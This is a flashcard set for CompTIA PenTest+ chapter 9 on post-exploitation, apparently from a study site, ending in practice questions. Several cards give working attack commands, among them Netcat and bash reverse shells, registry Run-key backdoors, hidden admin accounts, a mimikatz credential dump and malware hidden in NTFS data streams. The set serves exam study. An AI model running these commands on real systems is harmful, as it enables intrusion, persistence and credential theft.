comptia pentest chapter 9: peforming pen testing tasks

0.0(0)
Studied by 0 people
call kaiCall Kai
learnLearn
examPractice Test
spaced repetitionSpaced Repetition
heart puzzleMatch
flashcardsFlashcards
GameKnowt Play
Card Sorting

1/47

encourage image

There's no tags or description

Looks like no tags are added yet.

48 Terms

1
New cards

Principles of Establishing and Maintaining Persistence

is the quality by which a threat continues to exploit a target while remaining undetected for a significant period of time. Rather than hitting a target and leaving right after, attackers will look for ways to maintain their foothold in the organization long after the main attack phase has concluded.

2
New cards

Cron job

Scheduled task that is managed by the Linux cron daemon.

3
New cards

Task Scheduler

tility that governs scheduled tasks in Windows environments. Quite a bit can be accomplished with this utility, including:

Setting a task's name and description.

Setting the task's "triggers," e.g., the time or events that will cause the task to start.

Setting the task's actual action, e.g., running a program, executing a command, etc.

Setting what account to run the task under.

Setting special conditions that might influence when the task will run, such as only running a task if a laptop is connected to AC power.

Configuring additional settings about the task, for example, what to do if the task fails.

4
New cards

Running daemons and services does have some disadvantages including:

Consuming memory even when not in use. This can tip off users if they experience performance issues or are actively monitoring memory usage.

Daemons and services do not automatically restart upon termination unless specifically programmed to do so.

Daemons and services require extensive programming knowledge, assuming the pentester is not relying on existing software.

5
New cards

Registry and Startup Locations

Services are not the only way to get a particular program or command to start upon booting Windows. The program or command can be added to the following Registry keys:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

6
New cards

The first key will run all of its values whenever any user logs in; the second key will run only when the current user logs in. The GUI Registry Editor (regedit) can be used to add the desired value, or it can be added from the command line:

reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v backdr /d C:\Files\backdoor.bat

7
New cards

Bind Shells

established when the target system "binds" its shell to a local network port. For example, a Linux target might bind the Bash shell on port 12345. One of the most common tools used to create either type of shell is Netcat.

So, on the target system, the Netcat command would be:

nc -lp 12345 -e /bin/sh


in windows

Use -e cmd.exe for a Windows target.


On the attack machine, the following Netcat command would then be used to connect to the session and obtain the shell:

nc 192.168.1.50 12345

8
New cards

Reverse Shells

established when the target machine communicates with an attack machine that is listening on a specific port. First, the listener is started on the attack machine using Netcat:

nc -lp 12345

Then, the connection is started on the target machine:

nc 192.168.1.10 12345 –e /bin/sh

The attack machine's listener will accept the incoming connection and open a shell onto the target system.

<p>established when the target machine communicates with an attack machine that is listening on a specific port. First, the listener is started on the attack machine using Netcat:</p><p> nc -lp 12345</p><p> Then, the connection is started on the target machine:</p><p> nc 192.168.1.10 12345 –e /bin/sh</p><p> The attack machine's listener will accept the incoming connection and open a shell onto the target system.</p>
9
New cards

Reverse shells for linux

Reverse shells are typically more effective as backdoors because they bypass the aforementioned problems with bind shells. The attacker has more control over their own environment, and is less likely to be obstructed by port filtering or NAT.

In addition, a reverse shell can be created from the target system using a wide array of tools other than Netcat, including Bash, PowerShell, Python, Ruby, PHP, Perl, Telnet, and many more.

For example, if the target system is a Linux machine without Netcat, use Bash to connect to a listener:

bash -i >& /dev/tcp/192.168.1.10/12345 0>&1

10
New cards

Once the pentester has gained access, one way to maintain persistence is to create new accounts on the machine. Keep in mind that this will generate activity logs and could be quickly detected by the system administrator.

On windows

a new user can be created through the command shell:

net user jsmith <password> /add (in this command, the password for the user jsmith is being specified).


After account is created, add to windows group

net localgroup Administrators jsmith /add


/////////////////////////////////////////////////////////////////////////////

On linux

useradd jsmith


get root privileges to the new user

editing the /etc/passwd file and changing the user's user ID (UID) and group ID (GID) to 0.

11
New cards

Net commands in windows can show…

/domain will perform the operation on the domain controller in the computer's primary domain.

/comment allows the administrator to provide a descriptive comment on the created user account.

/expires will set a date for the account to expire on.

/passwordchg will force the user to create a new password the first time they log in.

12
New cards

useradd commands in Linux can be used for…

-d will specify a home directory for the new user account

-u specifies the User ID (UID)

-g specifies the Group ID (GID)

-e will set an expiration date for the user account.

-c allows the administrator to set a comment on the account.

13
New cards

Registry Keys: Windows

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

Programs listed here run at startup for all users.

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

Programs listed here run at startup for the current user.

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

Programs listed here run once at startup for all users, and the entry is deleted after execution.

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

Programs listed here run once at startup for the current user, and the entry is deleted after execution.

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon

The Userinit key can be modified to add persistence by appending the desired executable to the existing value.

14
New cards

Empire

a C2 framework focused on PowerShell for post-exploitation tasks on Windows. It has a Python component for Linux, and also contains a GUI called Starkiller which makes it even easier to use this framework. Empire includes many modules, including:

Mimikatz

Seatbelt

Rubeus

Certify

Many others

15
New cards

Kernel level rootkits

These rootkits operate at the kernel-level which gives them the highest level of control over the system. These rootkits can modify kernel data structures and system calls. These rootkits will oftentimes hide inside of driver files as this makes them more difficult to detect and they appear more legitimate. This will also allow the rootkit to target specific hardware functions such as input devices, display, network, etc.

16
New cards

User mode- rootkits

These rootkits operate at the user-level which makes them easier to detect than a kernel-level rootkit. These rootkits can intercept and modify system calls from the user account.

17
New cards

Bootkits- rootkits

These are a subset of kernel-level rootkits, that infect the bootloader or Master Boot Record (MBR), allowing them to load before the operating system starts. This makes them very persistent and difficult to remove.

18
New cards

Firmware rootkits

These rootkits infect the firmware of hardware components, such as the BIOS or UEFI. They can survive the computer's reboot, re-installation of the operating system and even hard disk replacement.

19
New cards

Hypervisor level- rootkits

These rootkits attack virtual machines on the system. They operate at the hypervisor level which allows them to intercept and manipulate instructions between the hardware and operating system.

20
New cards

Pivoting

process similar to lateral movement. In lateral movement, the pentester jumps from one host to the next in search of vulnerabilities to exploit. When the pentester pivots, they compromise one host (the pivot) that enables them to spread out to other hosts that would otherwise be inaccessible.

21
New cards

Relay Creation

Creating a relay means that the pentester has compromised a host system and is using that system to now forward traffic between the pentester and other systems inside the network. This is a common method of pivoting through the network.

<p>Creating a relay means that the pentester has compromised a host system and is using that system to now forward traffic between the pentester and other systems inside the network. This is a common method of pivoting through the network.</p>
22
New cards

The pentester can now use different techniques to create the relay including:

Port Forwarding. VPN pivoting, SSH piviot, modifying routing table

23
New cards

Network Traffic Discovery

use sniffer - Initiates the sniffer module.

sniffer_interfaces - Lists the interfaces on the relay host.

sniffer_start <interface number> - Begins sniffing traffic on the specified interface.

sniffer_dump <interface number> <output file location> - Dumps captured packets to the specified location as a PCAP file.

24
New cards

Credentials using metasploit commands

load mimikatz - Loads the mimikatz module.

kiwi_cmd "sekurlsa::logonpasswords" - Extracts plaintext passwords, hashes, and other credentials. Note that the kiwi command is the updated version in Metasploit.

execute -H -f cmd.exe -a "/c kiwi_cmd sekurlsa::logonpasswords" > <path to save credentials to> - Saves the dumped credentials in the specified location.

25
New cards

String searches in linux

using grep can be used to search the system for sensitive information. For example to search for passwords in configuration files, use the command:

grep -r "password" /etc/

26
New cards

String searches in Windows

findstr can also be used to search the system, much like grep. For example, to search for API keys, the following command can be used:

findstr /S /I "api_key" C:\"program files"\*.*

27
New cards

Remote Desktop Protocol (RDP)

RDP is the default remote desktop service that comes with Windows systems. It allows full remote control via a GUI window. It can take local account credentials or domain credentials and supports varying levels of encryption. The service must be enabled on the system you want to connect to, otherwise the connection attempt will be rejected.

28
New cards

Virtual Network Computing (VNC)

VNC is a cross-platform service that enables full remote control of a desktop. A VNC server must be installed on the target machine, which can then be accessed with a corresponding client. There are many different implementations of VNC, and their level of security varies.

29
New cards

Windows Management Instrumentation (WMI)

Provides an interface for local or remote computer management to provide information about the status of hosts, configure security settings, and manipulate environment variables.

30
New cards

Window Remote Management (WinRM)

used to remotely manage a Windows system. WinRM comes installed with Windows and can be accessed via a CLI or PowerShell.


To activate it, use command winrm quickconfig

Regardless of how WinRM is accessed, both machines must be configured to activate the service. To access WinRM, go into a CLI as an administrator, and then type the command winrm, which will display the following:

<p>used to remotely manage a Windows system. WinRM comes installed with Windows and can be accessed via a CLI or PowerShell. </p><p></p><p>To activate it, use command winrm quickconfig</p><p> Regardless of how WinRM is accessed, both machines must be configured to activate the service. To access WinRM, go into a CLI as an administrator, and then type the command winrm, which will display the following:</p>
31
New cards

Steghide is natively a CLI tool. For example, you can embed the secret.txt file in the carrier image as shown:

$ steghide embed -cf carrier.jpg -ef secret.txt

Enter passphrase:

Re-Enter passphrase:

embedding "secret.txt" in " carrier.jpg"... done

32
New cards

Some other techniques that can be used to exfiltrate data include:

Email - Sensitive data can be sent through email. It would be recommended to use a temporary encrypted email service for this.

Virtual Drive Mounting - A virtual disk can be created on the compromised system and the sensitive data copied to it. The virtual drive can then be unmounted and copied to an external drive or sent through another method, such as cloud storage.

Text-Storage Site - The pentester can simply copy and paste sensitive data to an online text storage service such as Microsoft's OneNote.

Alternate Data Stream - The ADS feature in Windows can be used to hide files and data inside of legitimate files to be exfiltrated.

33
New cards

Alternate Data Streams using NTFS

The streams are not limited in size and there can be more than one stream linked to the visible file. This allows an attacker to hide their tools and data on a compromised system and retrieve them later.

To hide a file inside of the ADS, simply use the command:

type file1 > file2:file1

Type is the command used to hide the file. File1 is the file to be hidden in the stream and file2 is the file that will contain the stream. For example, if the pentester wants to hide a malware file inside of an innocent looking text file called comptia , the following command would be used:

type c:\malware.exe > c:\comptia.txt:malware.exe

Once the ADS has been created, the method used to extract the hidden file or data will vary depending on the type of data. For example, if a text document was hidden, notepad can be used to open it up by typing notepad "c:file1:file2.txt"

In the above example, to execute the malware, a link can be created to launch the malware from the stream itself:

mklink malware.exe comptia.txt:malware.exe

This will create a shortcut labeled malware.exe which can then be run and execute the malware from the stream itself.

34
New cards

Cleanup and restoration procedures

Remove Persistence Mechanisms— HKLM & HKCU Run registry keys that start a shell on a Windows system during boot. On Linux, depending on the distribution, scripts in /etc/init.d/ and /etc/systemd/ are examples of similar run-on-boot functionality.


Remove all tested credentials + configuration changes +remove tools

35
New cards

Ways to document pen testing tasks

screenshots

36
New cards

During a penetration test, you decide to use a command and control (C2) framework to manage compromised systems.

Which of the following C2 frameworks would be MOST suitable for executing post-exploitation tasks on a network with a mix of Windows, Linux, and macOS systems?

Mythic

37
New cards

An attacker wants to maintain persistence on a compromised Windows system by configuring a program to run at startup for the current user.

Which registry key would be MOST appropriate for this purpose, and what is a potential limitation of using this key?

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run; the program will run at startup for the current user, but it can be disabled by removing the entry from the registry.

38
New cards

A pentester has successfully compromised a host within a target network and is considering the next steps to explore additional network segments that are not directly accessible from their current position.

Which of the following BEST describes the process the pentester should use to achieve this goal?

The pentester uses the compromised host as a relay to access other network subnets that are not directly reachable from their current position.

39
New cards

A penetration tester is attempting to move laterally within a network by using legitimate binaries that are already present on the system (LOLbins).

Which of the following techniques is an example of using a LOLbin to evade detection while moving laterally?

Using net.exe to add a new user account to the local administrators group and then connecting to another system.

40
New cards

A penetration tester needs to gather information about remote systems without using an interactive shell. Which of the following methods would allow the tester to query system information on a Windows machine?


Use the wmic command-line tool to query the system

41
New cards

A pentester has gained initial access to a network and is planning their next steps to explore and exploit the network further. The tester needs to decide between lateral and horizontal movement techniques to achieve their objectives.

Which of the following scenarios BEST illustrates the use of horizontal movement within the network?

The pentester accesses shared folders on other systems using the same user account privileges and searches for sensitive documents.

42
New cards

A penetration tester is attempting to move laterally within a network and has identified several systems running the SMB protocol.

Which of the following actions would allow the tester to execute commands on a remote system using SMB, and what should the tester be cautious about when using this method?

Use the psexec tool to run a command such as psexec \\192.168.1.50 -s "C:\bad-app.exe"; the tester should be cautious about leaving traces of command execution in the system logs.

43
New cards

Once a penetration tester has gained access to a network, they often proceed to stage and exfiltrate data. What is the primary purpose of the staging process in this context?

To gather and organize data on compromised systems for exfiltration or destruction.

44
New cards

You are a penetration tester tasked with exfiltrating sensitive data from a target network without being detected. The network is closely monitored, and traditional methods of data transfer are likely to be flagged by security systems. You decide to use a covert channel to achieve your goal.

Which of the following methods would be the MOST appropriate to use in this situation?


Use DNS tunneling to encode the data into DNS queries and send it to a DNS server you control.

45
New cards

A penetration tester has successfully gained access to a target system and identified sensitive customer data. The tester now needs to exfiltrate the data covertly to avoid detection.

Which of the following methods would be the MOST appropriate for ensuring the data is both hidden and protected during the exfiltration process?

Use Steghide to embed the data within an image file and transfer the image to an external server controlled by the tester.

46
New cards

During a penetration test, you want to conceal a malicious executable inside a seemingly harmless text file using NTFS Alternate Data Streams (ADS).

Which of the following commands would you use to achieve this?

type c:\malware.exe > c:\comptia.txt:malware.exe

47
New cards

A penetration testing team performs post-engagement activities after a PenTest exercise. The team addresses which area?

Account cleanup

48
New cards

A PenTest exercise has concluded. The PenTest team now addresses which area?

Shell Removal